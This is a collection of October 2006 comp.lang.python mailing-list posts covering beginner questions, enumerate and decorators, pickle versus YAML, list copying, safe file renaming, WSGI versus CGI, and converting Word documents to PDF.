Date: Thu, 05 Oct 2006 10:13:43 +0200
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <4524beb9$0$310$426a74cc@news.free.fr>

gord wrote:
> As a complete novice in the study of Python, I am asking myself where this 
> language is superior or better suited than others. For example, all I see in 
> the tutorials are lots of examples of list processing, arithmetic 
> calculations - all in a DOS-like environment.

s/DOS-like/command line/

The command line interface is widely used on unix-like systems, and is
very handy for a lot of things.

> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. 

Disappointing ? Python is a general-purpose, cross-platform language,
not a Windows-only GUI-only environment. What you're looking for does
exist, but as 3rd part libs and programs. You could check Boa
Constructor (a wxPython based Delphi-like RAD/IDE), or any combination
of a Windows-compatible GUI toolkit / GUI builder / IDE.

> How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi?

Ever tried writing a cross-platform web application server with any of
these "big 3" ?

> I realize that these 
> programming packages are quite expensive 

and Windows-only, and proprietary...

> now while Python is free 

free as in "free beer", yes, but also free as in "free speech". And
Python is portable too (most of my programs would run on Windows or
MacOS X or BSD etc without any modification).

> (at least 
> for the package I am using - ActivePython).

> Please discuss where Python shines.

Application programming and admin scripts. Note that application
programming doesn't imply GUI - I'm mostly doing web development FWIW.

Now if you're doing Windows-only, Python is quite good with COM/ActiveX
etc AFAIK.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From jcd at sdf.lonestar.org  Tue Oct 24 11:25:58 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Tue, 24 Oct 2006 09:25:58 -0600
Subject: Default location while open an Excel file
References: <1161313718.200425.130220@i3g2000cwc.googlegroups.com>
Message-ID: <ehlba7$j36$1@aioe.server.aioe.org>

Try this:

 >>> import os
 >>> os.getcwd()
'C:\\Python24'

I ran it from the interpreter.  Dunno what it does from a script in an 
arbitrary location.  YMMV.

Cheers,
Cliff



From steve at holdenweb.com  Sun Oct 22 21:02:51 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 02:02:51 +0100
Subject: Customize the effect of enumerate()?
In-Reply-To: <1161557776.637735.92650@k70g2000cwa.googlegroups.com>
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
	<1161557776.637735.92650@k70g2000cwa.googlegroups.com>
Message-ID: <453C14BB.4070104@holdenweb.com>

Simon Forman wrote:
> Dustan wrote:
> 
>>Can I make enumerate(myObject) act differently?
>>
>>class A(object):
>>	def __getitem__(self, item):
>>		if item > 0:
>>	            return self.sequence[item-1]
>>	        elif item < 0:
>>	            return self.sequence[item]
>>	        elif item == 0:
>>	            raise IndexError, "Index 0 is not valid."
>>	        else:
>>	            raise IndexError, "Invalid Index."
>>	def __iter__(self): return iter(self.sequence)
> 
> 
> That final else clause is a little funny...    What kind of indices are
> you expecting that will be neither less than zero, greater than zero,
> or equal to zero?
> 
Good defensive programming albeit of a somewhat extreme nature. Should 
one of the tests be removed at a later date the else clause will trap 
occurrences of the no-longer handled case.

> 
>>Why the funny behavior, you ask? For my class A, it doesn't make sense
>>to number everything the standard programming way. Of course, if
>>someone uses enumerate, it's going to number the items the same way as
>>ever. Is there any way to modify that behavior, any special function to
>>set? There doesn't appear to be, according to the docs, but it never
>>hurts to make sure.
> 
> 
> You can write your own enumerate function and then bind that to the
> name 'enumerate'.
> 
Yes, but if you do you had better make sure that it gives the standard 
behavior for normal uses.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From johnjsal at NOSPAMgmail.com  Wed Oct  4 19:15:30 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 19:15:30 -0400
Subject: can't open chm files all of a sudden
In-Reply-To: <pan.2006.10.04.22.08.47.994880@keithperkins.net>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<zPQUg.60$1n3.960@news.tufts.edu>
	<DoRUg.9937$UG4.3673@newsread2.news.pas.earthlink.net>
	<pan.2006.10.04.22.08.47.994880@keithperkins.net>
Message-ID: <4524412c$0$16606$c3e8da3@news.astraweb.com>

Keith Perkins wrote:

> I used HTMLKit when I still used Windows, and liked it a lot.  It's really
> a great HTML/PHP, etc. editor, if you can get past the front page.
> That being said (if I remember correctly) hh.exe is a part of htmlkit, and
> may have been the the cause of your problem by making itself the default
> chm reader. (Check your settings under files to see what you have as the
> default reader now. (and sorry, forgot how to do that, it's been almost
> two years since I've had to fiddle with Windows, so I'm not sure of the
> exact place to check for it.))
> Keith

Thanks for the response. I checked and hh.exe is the default, but should 
it not be? It seems like the official program to open CHM files.


From martin at v.loewis.de  Wed Oct  4 16:27:52 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:27:52 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1277.1159977543.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<45225A1C.8060106@v.loewis.de>	<KGJUg.134415$_J1.895519@twister2.libero.it>	<1159975907.085831.44790@k70g2000cwa.googlegroups.com>
	<mailman.1277.1159977543.10491.python-list@python.org>
Message-ID: <45241948.3080605@v.loewis.de>

skip at pobox.com schrieb:
> No, actually switching trackers can be one big pain in the ass.  You
> probably aren't aware of how hard it's been for the Python development team
> (I think Martin v. Loewis, mostly) to get tracker data out of SF.  An
> explicit requirement was that any tool chosen as a SF replacement be able to
> easily export its database to avoid this sort of "lock-in" in the future.

While I put quite some effort into getting data out of SF, it was
Fredrik Lundh who eventually implemented the solution that we'll use:
screen scraping. My efforts to get data out of SF "officially"
were futile.

Regards,
Martin


From fredrik at pythonware.com  Fri Oct  6 02:28:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 08:28:29 +0200
Subject: help on pickle tool
In-Reply-To: <1160115558.554509.292870@c28g2000cwb.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>	<mailman.1407.1160113095.10491.python-list@python.org>	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
Message-ID: <4525F78D.5010200@pythonware.com>

MonkeeSage wrote:


> YAML is a little more complex

a little?  when did you last look at the spec?

> and a little more mature.

than JavaScript's expression syntax?  are you sure you're not confusing 
libraries with standards here?  (has anyone even managed to write a YAML 
library that's small and simple enough to be "obviously correct"?)

</F>



From apardon at forel.vub.ac.be  Fri Oct 13 05:08:01 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 13 Oct 2006 09:08:01 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1449.1160131361.10491.python-list@python.org>
	<slrneicdjt.55m.apardon@rcpc42.vub.ac.be>
	<egl1sr$d1s$1@wake.carmen.se>
Message-ID: <slrneiulrh.43c.apardon@rcpc42.vub.ac.be>

On 2006-10-12, Magnus Lycka <lycka at carmen.se> wrote:
> Antoon Pardon wrote:
>> Well maybe he didn't intend that, but how is the reader of the
>> documentation to know that? The reader can only go by how
>> things are documented. If those are not entirely consistent
>> with the intend of the programmer, that is not the readers
>> fault.
>
> I don't think I ever assumed that it was right to call functions
> with keyword arguments if they weren't defined with keyword
> parameters,

I'm not sure I follow here. AFAICS, you can't define keyword
parameters. You can give default values to parameters but
this is orthogonal to calling a function with keywords.

If we somehow want to seperate parameters in those that
can be used with a keyword and those that don't it has
to be something different than providing a default value
to that parameter.

-- 
Antoon Pardon


From neoedmund at gmail.com  Wed Oct 18 01:36:05 2006
From: neoedmund at gmail.com (neoedmund)
Date: 17 Oct 2006 22:36:05 -0700
Subject: I would like write some data recovery software
In-Reply-To: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
Message-ID: <1161149765.298525.260450@h48g2000cwc.googlegroups.com>


gel wrote:
> I would like to write some data recovery software as a learning thing.
> The sort of thing that you would use to recover data from a currupt HDD
> or floppy etc.  I would like to be pointed in the right direction as
> far as modules to use and suggested approaches.

what kind of recovery? disk broken into pieces and recover from it?



From bbull at optiosoftware.com  Thu Oct 19 09:43:49 2006
From: bbull at optiosoftware.com (WakeBdr)
Date: 19 Oct 2006 06:43:49 -0700
Subject: Can I use decorators to manipulate return type or create methods?
Message-ID: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>

I'm writing a class that will query a database for some data and return
the result to the caller.  I need to be able to return the result of
the query in several different ways: list, xml, dictionary, etc.  I was
wondering if I can use decorators to accomplish this.

For instance, I have the following method

def getUsers(self, params):
    return users.query(dbc)

To get the appropriate return types, I also have these methods.  I have
these convenience methods for every query method in my class.

def getUsersAsXML(self, params):
    return self._toXML(self.getUsers(params))
def getUsersAsDict(self, params):
    return self._toDict(self.getUsers(params))
def getUsersAsList(self, params):
    return self._toList(self.getUsers(params))

Instead of creating these three methods for every query method, is
there a way to use decorators to manipulate the return type.  I'd still
like to have the caller use getUsersAsXML, I just don't want to write
the AsXML methods for every query method.  So the decorator would
essentially create the convenience methods instead of me coding them.

One solution that I don't want to use is passing a variable into the
query method that determines the return type.  This is what I don't
want to do.
def getUsers(self, params, returnType):

Any ideas on how I can accomplish this?

thanks



From kay.schluehr at gmx.net  Mon Oct 16 05:55:39 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 16 Oct 2006 02:55:39 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
	<45335619$0$12918$426a34cc@news.free.fr>
Message-ID: <1160992539.451117.143310@i42g2000cwa.googlegroups.com>

Bruno Desthuilliers wrote:

> Just for the record : Ruby's code-blocks (closures, really) come from
> Smalltalk, which is still the OneTrueObjectLanguage(tm).

IsTheOneTrueObjectLanguage(tm)ReallyCamelCased?



From john106henry at hotmail.com  Tue Oct 31 13:01:21 2006
From: john106henry at hotmail.com (John Henry)
Date: 31 Oct 2006 10:01:21 -0800
Subject: ANN: Leo 4.4.2.1 final released
In-Reply-To: <6Zx1h.77$uA3.75@newsfe04.lga>
References: <ur31h.321$XF5.101@newsfe06.lga>
	<1162143217.977375.290570@i42g2000cwa.googlegroups.com>
	<6Zx1h.77$uA3.75@newsfe04.lga>
Message-ID: <1162317681.389274.101830@e64g2000cwd.googlegroups.com>

Yes, it's Python 2.3, running under Windows XP.

I managed to get it working using the ZIP file.

Thanks,

Edward K. Ream wrote:
> >I downloaded the Windows exe, ran it and a small blank message window poped
> >up and that was it.
> > I am still running 2.3.
>
> I assume you mean Python 2.3, not Leo 2.3 :-)  I know for sure that Leo
> works with Python 2.3. In the future, please report problems to one of Leo's
> forums.  And when reporting problems please tell me what platform you are
> using.
>
> You can probably see more information by running Leo in a console.  See
> Leo's FAQ for instructions:
> http://webpages.charter.net/edreamleo/FAQ.html#how-can-i-run-leo-from-a-console-window
>
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edreamleo at charter.net
> Leo: http://webpages.charter.net/edreamleo/front.html
> --------------------------------------------------------------------



From ilias at lazaridis.com  Wed Oct 11 23:08:12 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 20:08:12 -0700
Subject: Python component model
In-Reply-To: <mailman.344.1160618838.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<mailman.344.1160618838.11739.python-list@python.org>
Message-ID: <1160622492.360486.207270@m73g2000cwd.googlegroups.com>

Peter Decker wrote:
> On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:
>
> > yes, an interesting tool.
> >
> > But to get more attention and developers, the project needs to be
> > polished.
> >
> > really unattractive resources:
> >
> > http://dabodev.com
> > http://case.lazaridis.com/wiki/DaboAudit
>
> Well, then, why not contribute? Or are you waiting for everyone else
> to do it for you?

I've contributed already (my contructive criticism).

It's up to the team to react.

> It really grinds my gears when people take something that involves
> hundreds if not thousands of hours of time that is offered to them for
> free, and then nitpicks on something completely tangential. If you

project infrastructure is not tangential.

It's essential

> want a polished website, then offer to contribute one!

Terrible this open source folks.

One cannot say one word without beeing asked to contribute.

> Don't whine
> about a couple of developers who are doing amazing things in their

doing amazing things is not enouth to bring a language-community
forward (or to create a python component model, which is the topic of
this thread)

> spare time while you're contributing absolutely nothing to the
> community.

I share the infrastructure which I use:

http://dev.lazaridis.com/base
 
.



From vatamane at gmail.com  Mon Oct 30 18:37:09 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 30 Oct 2006 15:37:09 -0800
Subject: scared about refrences...
In-Reply-To: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
Message-ID: <1162251429.386255.289620@e3g2000cwe.googlegroups.com>

I think you are afraid of references because you are not trusting your
own code. You are afraid it will do "magic" behind the scenes and mess
everything up.  One way around that is to simply write better code and
test often.

If everything was copied when passed around it would be pretty awful --
imagine passing around a 1Gb worth of data to a function...

In  Python all the primitives are copied and all other entities are
references. If you want to just copy a list you can :
1) use the list class: new_list=list(old_list)
2) use the [:] syntax: new_list=old_list[:]
3) if your list has nested lists, for example, the above methods will
not copy everything, so you need a deep copy -- copy.deepcopy()

Hope this helps,
Nick V.


SpreadTooThin wrote:
> I'm really worried that python may is doing some things I wasn't
> expecting... but lets see...
>
> if I pass a list to a function def fn(myList):
>
> and in that function I modify an element in the list, then does the
> callers list get modied as well.
>
> def fn(list):
>    list[1] = 0
>
> myList = [1, 2, 3]
> print myList
> fn(myList)
> print myList
>
> >>> [1,2,3]
> >>> [1,0,3]
>
> How can I avoid this?  In this case this is a really simplified example
> but the effects are the same...
> How do I specify or create deep copies of objects that may contain
> other objects that may contain other
> object that may contain other objects....



From hanumizzle at gmail.com  Tue Oct 17 03:49:18 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 03:49:18 -0400
Subject: How to paras such echo string effection?
In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
Message-ID: <463ff4860610170049o88800f9t3ba207b50c3b5450@mail.gmail.com>

On 10/17/06, Kevien Lee <ironpythonster at gmail.com> wrote:

> PS:is there any python lib for CVS ?

Doubt it, but there is a Python library for Subversion (SVN > CVS anyway).

-- Theerasak


From fredrik at pythonware.com  Tue Oct 17 15:37:51 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 21:37:51 +0200
Subject: why should dict not be callable?
In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
Message-ID: <eh3bef$sd8$1@sea.gmane.org>

georgeryoung at gmail.com wrote:

> A couple of times recently I've come across this problem:  I have a
> large list to sort and I need to the the "key=function" argument to
> sort appropriately.  But I actually have the key mapping in a big
> dictionary.

so use a bound method:

     L.sort(key=key_dict.get)

</F>



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 18:15:24 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 29 Oct 2006 09:15:24 +1100
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
Message-ID: <pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 13:38:14 +0200, Wolfgang Draxinger wrote:

>> But on a multi-user system, it is possible that dest is created
>> in the time period between checking if it exists and attempting
>> the rename.
>> 
>> Is there any way to prevent this? Or do I just try to keep the
>> check and the rename as close together as possible, minimizing
>> the chances and hoping for the best?
> 
> 1: Open the file with os.open

Open "the" file? There are potentially two files -- the source and
destination. I only want to do the rename if the destination
*doesn't* exist, so there is no destination file to open. How will it help
me to lock the source file? Have I misunderstood?


-- 
Steven.



From Eric_Dexter at msn.com  Thu Oct 12 18:50:16 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 12 Oct 2006 15:50:16 -0700
Subject: is there an easy way to create a database on the fly and let the
	user input values
In-Reply-To: <mailman.382.1160663698.11739.python-list@python.org>
References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
	<mailman.382.1160663698.11739.python-list@python.org>
Message-ID: <1160693415.040804.136800@i42g2000cwa.googlegroups.com>


Chris Lambacher wrote:
> I've heard good things about Dabo: http://dabodev.com/
> On Wed, Oct 11, 2006 at 09:44:37PM -0700, Eric_Dexter at msn.com wrote:
> >      I don't realy care what database I use wx.grid or whatever.  I
> > wan't it to look at a line
> >
> > 128 9023 23428 exc and create the database or pick something out of the
> > file as  some sort of a descrition line and then display and allow the
> > user to change and add new lines.  What is the easiest set of database
> > routines to use for such a project???
> >
> > http://www.dexrow.com
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list

dabo looks intresting but I am just looking for the simplist way and
having to load from thier thing just complicates stuff.  I could
probily just use wx.grid but examples are scarce, I have seen some
simple dbm stuff but this is an old book I am reading now



From gagsl-py at yahoo.com.ar  Fri Oct  6 21:38:23 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 06 Oct 2006 22:38:23 -0300
Subject: Names changed to protect the guilty
In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061006222727.045bbe00@yahoo.com.ar>

At Friday 6/10/2006 22:02, MonkeeSage wrote:

> > The following line of lightly munged code was found in a publicly
> > available Python library...
>
>Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
>which was written by the very finger of God when the world was still in

It's not about style or being pythonic: a condition may be false, but 
not the False object itself, so writing
if something is False:
is the wrong way to test if something is false (isn't clear? :) )

 >>> def is_odd_number(n):  return n & 1
...
 >>> if is_odd_number(3) is False: print "3 is odd"
... else: print "3 is even"
...
3 is even


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From apoelstra at false.site  Thu Oct 12 19:49:51 2006
From: apoelstra at false.site (Andrew Poelstra)
Date: Thu, 12 Oct 2006 23:49:51 GMT
Subject: Starting out.
In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
Message-ID: <1160696990.5969.4.camel@dsktp>

On Thu, 2006-10-12 at 16:37 -0700, Ahmer wrote:
> Hi all!
> 
> I am a 15 year old High School Sophomore. I would like to start
> programming in Python. In school, we are learning Java (5) and I like
> to use the Eclipse IDE, I also am learning PHP as well.
> 
> What are some ways to get started (books, sites, etc.)? I am usually on
> linux, but I have a windows box and am planning on getting a mac.
> 

Start by learning two hours' worth of Java. Then you can blow off the
rest of the course, if your school's anything like mine.

I learned Python from "A Byte of Python". It was okay, although not very
refined last I checked. From there you just need to work on some random
projects, and you'll become more proficient.

(OT: Try to type 'proficient' with one hand on a US keyboard. :-))

-- 
Andrew Poelstra  <http://www.wpsoftware.net/projects/>



From steve at holdenweb.com  Tue Oct 24 06:53:49 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 11:53:49 +0100
Subject: sharing persisten cache between modules
In-Reply-To: <jJi%g.14272$Y24.2181@newsread4.news.pas.earthlink.net>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>	<mailman.990.1161621384.11739.python-list@python.org>	<1161621933.150100.149830@m7g2000cwm.googlegroups.com>
	<jJi%g.14272$Y24.2181@newsread4.news.pas.earthlink.net>
Message-ID: <ehkr9r$m94$1@sea.gmane.org>

Dennis Lee Bieber wrote:
> On 23 Oct 2006 09:45:33 -0700, "Bart Ogryczak" <B.Ogryczak at gmail.com>
> declaimed the following in comp.lang.python:
> 
> 
> 
>>The problem is, that then it is not shared. If I do it like that, each
>>module has it?s own copy of the cache. Maybe I?m doing something
>>wrong. I?ve made a cache module, imported it in each of the
>>submodules. I don?t know how to make the data "static".
> 
> 
> 	Let me guess... You are using
> 
> from cache_module import *
> 
> to save having to qualify names with "cache_module."
> 
> f-i-* creates local names initially bound to the objects inside a
> module, but any "assignment" to such a name later results in the name
> being rebound to the new object -- disconnecting from the original.
> 
> import cache_module
> 
> cache_module.some_name = some_object
> 
> maintains the linkage that the name is inside the module, so all other
> references that use cache_module.some_name will see the same object.

Note that you can also do

   import cache_module_with_long_name as cm

and then qualify cm to get at the module's attributes, should you have 
chosen to call your module something inappropriately long. This reduces 
the typing still further.

always-looking-to-avoid-typos-ly y'rs  - steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From gregpinero at gmail.com  Sun Oct  8 15:34:51 2006
From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=)
Date: Sun, 8 Oct 2006 15:34:51 -0400
Subject: WSGI - How Does It Affect Me?
Message-ID: <312cfe2b0610081234s7eafc35crd635c2a57056aa2@mail.gmail.com>

So I keep hearing more and more about this WSGI stuff, and honestly I
still don't understand what it is exactly and how it differs from CGI
in the fundamentals (Trying to research this on the web now)

What I'm most confused about is how it affects me.  I've been writing
small CGI programs in Python for a while now whenever I have a need
for a web program.  Is CGI now considered "Bad"?  I've just always
found it easier to write something quickly with the CGI library than
to learn a framework and fool with installing it and making sure my
web host supports it.

Should I switch from CGI to WSGI?  What does that even mean?  What is
the equivalent of a quick CGI script in WSGI, or do I have to use a
framework even for that?  What do I do if frameworks don't meet my
needs and I don't have a desire to program my own?

Examples of how frameworks don't meet my needs sometimes:
1. Working with SQL Server (Most frameworks seem to at least make it extra work)
2. Need web app to get data from other programs via API (eg QuickBooks)
   Can any web framework work happily with win32 extensions?
3. Using IIS at all for that matter, does WSGI work on IIS, do any frameworks?

Hope this question isn't too confusing or rambling, or it hasn't been
covered before.  (it's hard to frame these questions as search terms
at least for me)

-Greg Pinero


From MonkeeSage at gmail.com  Thu Oct  5 22:04:00 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 19:04:00 -0700
Subject: building strings from variables
References: <mailman.1390.1160090492.10491.python-list@python.org>
	<1160098957.196734.192950@i3g2000cwc.googlegroups.com>
Message-ID: <1160100240.820597.142650@k70g2000cwa.googlegroups.com>

Ps. For readability you can also roll your own sprintf function:

def format(s, *args, **kwargs):
  if args:
    return s % args
  elif kwargs:
    return s % kwargs
  else:
    return s

s = 'I like %s and %s.'
print format(s, 'ham', 'cheese')

s = 'I like %(b)s and %(c)s.'
print format(s, b='butter', c='eggs')

> Regards,
> Jordan



From hanumizzle at gmail.com  Wed Oct 11 04:08:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 04:08:47 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org> <004501c6ecf0$430a6a20$03000080@hendrik>
	<3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com>
Message-ID: <463ff4860610110108g71d2e025o3ac02348b2a1acbf@mail.gmail.com>

On 10/11/06, bryan rasmussen <rasmussen.bryan at gmail.com> wrote:
> I believe they are reputed to have a sense of humor.

Some of jokes I have heard on BBC World Service bordered on the
unprofessional. :)

After the big tsunami, one of the announcers mentioned that "we've
been getting a *flood* of e-mail" only to check himself a few moments
later.

Black humor, if I ever heard it. LOL!

-- Theerasak


From python.list at tim.thechases.com  Wed Oct 11 12:11:09 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 11 Oct 2006 11:11:09 -0500
Subject: Regular expression worries
In-Reply-To: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>
References: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>
Message-ID: <452D179D.9040604@tim.thechases.com>

>   for  l in
> open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'):
> 
>       l=l.replace("Document", "DOC")
>       fh.close()
> 
> But it does not replace Document with Doc in  the txt file

In addition to closing the file handle for the loop *within* the 
loop, you're changing "l" (side note: a bad choice of names, as 
in most fonts, it's difficult to visually discern from the number 
"1"), but you're not writing it back out any place.  One would do 
something like

outfile = open('out.txt', 'w')
infile = open(filename)
for line in infile:
	outfile.write(line.replace("Document", "DOC"))
outfile.close()
infile.close()

You could even let garbage collection take care of the file 
handle for you:


outfile = open('out.txt', 'w')
for line in open(filename):
	outfile.write(line.replace("Document", "DOC"))
outfile.close()


If needed, you can then move the 'out.txt' overtop of the 
original file.

Or, you could just use

	sed 's/Document/DOC/g' $FILENAME > out.txt

or with an accepting version, do it in-place with

	sed -i 's/Document/DOC/g' $FILENAME

if you have sed available on your system.

Oh...and it doesn't look like your code is using regexps for 
anything, despite the subject-line of your email :)  I suspect 
they'll come in later for the "replace the tags" portion you 
mentioned, but that ain't in the code.

-tkc







From steve at holdenweb.com  Tue Oct 10 06:04:59 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 11:04:59 +0100
Subject: Converting MSWord Docs to PDF
In-Reply-To: <slrneimnp2.6ng.sybrenUSE@schuimige.stuvel.eu>
References: <mailman.185.1160469513.11739.python-list@python.org>
	<slrneimnp2.6ng.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <egfr6j$3ue$1@sea.gmane.org>

Sybren Stuvel wrote:
> melv at awc.edu enlightened us with:
> 
>>is it possible to convert MSword docs into PDF format?
> 
> 
> Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's
> about converting Excel to PDF, but it equally applies to MSWord.
> 
However, this assumed perfect import of the .doc file into Open Office, 
which can't be guaranteed (though it gets better every release). So you 
may want to do some experimentation to find out how well the import 
proceeds.

If that *isn't* satisfactory then a modest investment in Adobe 
Acrobat/Distiller plus the use of Python's scripting facilities to 
direct the conversion would be preferable to spending a huge amount of 
time writing a hand-crafted solution.

>> i told my future employer that i could, because i knew
>> of the COM scripting abilites that activePython had.
>> and i knew there was modules for PDF creation such as
>> reportlabs.
>> 

And the next time you are bragging in that way, couch your boasts in 
conditional terms to avoid losing face should you happen to be wrong. A 
lot will depend on the complexity of the Word documents.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From pavlovevidence at gmail.com  Thu Oct 26 22:46:36 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 26 Oct 2006 19:46:36 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<mailman.1302.1161903610.11739.python-list@python.org>
Message-ID: <1161917196.676362.318480@h48g2000cwc.googlegroups.com>

